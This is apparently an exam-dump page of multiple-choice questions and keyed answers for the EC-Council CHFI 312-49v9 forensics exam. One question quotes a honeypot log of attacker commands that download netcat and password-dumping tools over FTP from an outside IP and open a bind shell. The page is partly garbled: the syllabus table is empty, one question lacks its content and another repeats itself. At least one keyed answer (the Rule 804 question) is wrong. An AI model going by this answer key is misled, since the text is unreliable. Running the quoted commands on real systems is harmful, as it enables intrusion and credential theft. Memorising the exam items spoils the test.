[Oct 22, 2021] Latest CHFIv9 312-49v9 Actual Free Exam Questions
CHFIv9 312-49v9 Dumps Updated Practice Test and 586 unique questions
EC-COUNCIL 312-49v9 Exam Syllabus Topics:
| Topic | Details |
|---|---|
| Topic 1 |
|
| Topic 2 |
|
| Topic 3 |
|
| Topic 4 |
|
| Topic 5 |
|
| Topic 6 |
|
| Topic 7 |
|
| Topic 8 |
|
NEW QUESTION 145
The MD5 program is used to:
- A. wipe magnetic media before recycling it
- B. verify that a disk is not altered when you examine it
- C. view graphics files on an evidence drive
- D. make directories on a evidence disk
Answer: B
NEW QUESTION 146
Who is responsible for the following tasks?
- A. System administrators
- B. Non-forensics staff
- C. Local managers or other non-forensic staff
- D. Lawyers
Answer: B
NEW QUESTION 147
If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in
IDLE scanning, what will be the response?
- A. 0
- B. 1
- C. The zombie will not send a response
- D. 2
Answer: B
NEW QUESTION 148
Which of the following commands shows you the username and IP address used to access the system via a remote login session and the type of client from which they are accessing the system?
- A. Net config
- B. Net share
- C. Net sessions
- D. Net stat
Answer: C
NEW QUESTION 149
Pick the statement which does not belong to the Rule 804. Hearsay Exceptions; Declarant Unavailable.
- A. Statement of personal or family history
- B. Statement under belief of impending death
- C. Statement against interest
- D. Prior statement by witness
Answer: B
NEW QUESTION 150
What is the name of the standard Linux command that can be used to create bit-stream images?
- A. mcopy
- B. dd
- C. MD5
- D. image
Answer: B
NEW QUESTION 151
Watson, a forensic investigator, is examining a copy of an ISO file stored in CDFS format. What type of evidence is this?
- A. Data from a CD copied using Windows
- B. Data from a CD copied using Mac-based system
- C. Data from a DVD copied using Windows system
- D. Data from a CD copied using Linux system
Answer: A
NEW QUESTION 152
The following excerpt is taken from a honeypot log that was hosted at
lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File
Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
- A. It is a local exploit where the attacker logs in using username johna2k
- B. There are two attackers on the system - johna2k and haxedj00
- C. The attack is a remote exploit and the hacker downloads three files
- D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
Answer: C
Explanation:
Explanation: The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.
NEW QUESTION 153
____________________ is simply the application of Computer Investigation and analysis techniques in the interests of determining potential legal evidence.
- A. Incident Response
- B. Computer Forensics
- C. Event Reaction
- D. Network Forensics
Answer: B
NEW QUESTION 154
When performing a forensics analysis, what device is used to prevent the system from recording data on an evidence disk?
- A. Firewall
- B. Protocol analyzer
- C. Disk editor
- D. Write-blocker
Answer: D
NEW QUESTION 155
An on-site incident response team is called to investigate an alleged case of computer tampering within their company. Before proceeding with the investigation, the CEO informs them that the incident will be classified as ow level? How long will the team have to respond to the incident?the investigation, the CEO informs them that the incident will be classified as ?ow level? How long will the team have to respond to the incident?
- A. Four hours
- B. Two working days
- C. Immediately
- D. One working day
Answer: D
NEW QUESTION 156
Your company's network just finished going through a SAS 70 audit. This audit reported that overall, your network is secure, but there are some areas that needs improvement. The major area was SNMP security. The audit company recommended turning off SNMP, but that is not an option since you have so many remote nodes to keep track of. What step could you take to help secure SNMP on your network?
- A. Block access to UDP port 171
- B. Change the default community string names
- C. Block all internal MAC address from using SNMP
- D. Block access to TCP port 171
Answer: B
NEW QUESTION 157
You should make at least how many bit-stream copies of a suspect drive?
- A. 0
- B. 1
- C. 2
- D. 3
Answer: C
NEW QUESTION 158
Which federal computer crime law specifically refers to fraud and related activity in connection with access devices like routers?
- A. 18 U.S.C. 2703
- B. 18 U.S.C. 1362
- C. 18 U.S.C. 1029
- D. 18 U.S.C. 2511
Answer: C
NEW QUESTION 159
Which of the following network attacks refers to sending huge volumes of email to an address in an attempt to overflow the mailbox or overwhelm the server where the email address is hosted so as to cause a denial-of-service attack?
- A. Email spamming
- B. Phishing
- C. Email spoofing
- D. Mail bombing
Answer: D
NEW QUESTION 160
What is a first sector ("sector zero") of a hard disk?
- A. Master boot record
- B. System boot record
- C. Hard disk boot record
- D. Secondary boot record
Answer: A
NEW QUESTION 161
Which of the following processes is part of the dynamic malware analysis?
- A. Searching for the strings
- B. Malware disassembly
- C. Process Monitoring
- D. File fingerprinting
Answer: C
NEW QUESTION 162
Paul is a computer forensics investigator working for Tyler & Company Consultants. Paul has been called upon to help investigate a computer hacking ring broken up by the local police. Paul begins to inventory the PCs found in the hackers?hideout. Paul then comes across a PDA left by them that is attached to a number of different peripheral devices.
What is the first step that Paul must take with the PDA to ensure the integrity of the investigation?
- A. Power off all devices if currently on
- B. Unplug all connected devices
- C. Photograph and document the peripheral devices
- D. Place PDA, including all devices, in an antistatic bag
Answer: C
NEW QUESTION 163
What type of attack sends spoofed UDP packets (instead of ping packets) with a fake source address to the IP broadcast address of a large network?
- A. Fraggle
- B. Smurf scan
- C. SYN flood
- D. Teardrop
Answer: A
NEW QUESTION 164
Which of these Windows utility help you to repair logical file system errors?
- A. Disk defragmenter
- B. CHKDSK
- C. Disk cleanup
- D. Resource Monitor
Answer: B
NEW QUESTION 165
If a PDA is seized in an investigation while the device is turned on, what would be the proper procedure?
- A. Remove any memory cards immediately
- B. Turn off the device immediately
- C. Remove the battery immediately
- D. Keep the device powered on
Answer: D
NEW QUESTION 166
Why is it still possible to recover files that have been emptied from the Recycle Bin on a Windows computer?
- A. The data will reside in the L2 cache on a Windows computer until it is manually deleted
- B. The data is still present until the original location of the file is used
- C. The data is moved to the Restore directory and is kept there indefinitely
- D. It is not possible to recover data that has been emptied from the Recycle Bin
Answer: B
NEW QUESTION 167
Which of the following stages in a Linux boot process involve initialization of the system's hardware?
- A. Bootloader Stage
- B. BIOS Stage
- C. BootROM Stage
- D. Kernel Stage
Answer: B
NEW QUESTION 168
What system details can an investigator obtain from the NetBIOS name table cache?
- A. List of the system present on a router
- B. List of files opened on other systems
- C. List of connections made to other systems
- D. List of files shared between the connected systems
Answer: C
NEW QUESTION 169
......
Verified 312-49v9 dumps Q&As - 100% Pass from PracticeVCE: https://www.practicevce.com/EC-COUNCIL/312-49v9-practice-exam-dumps.html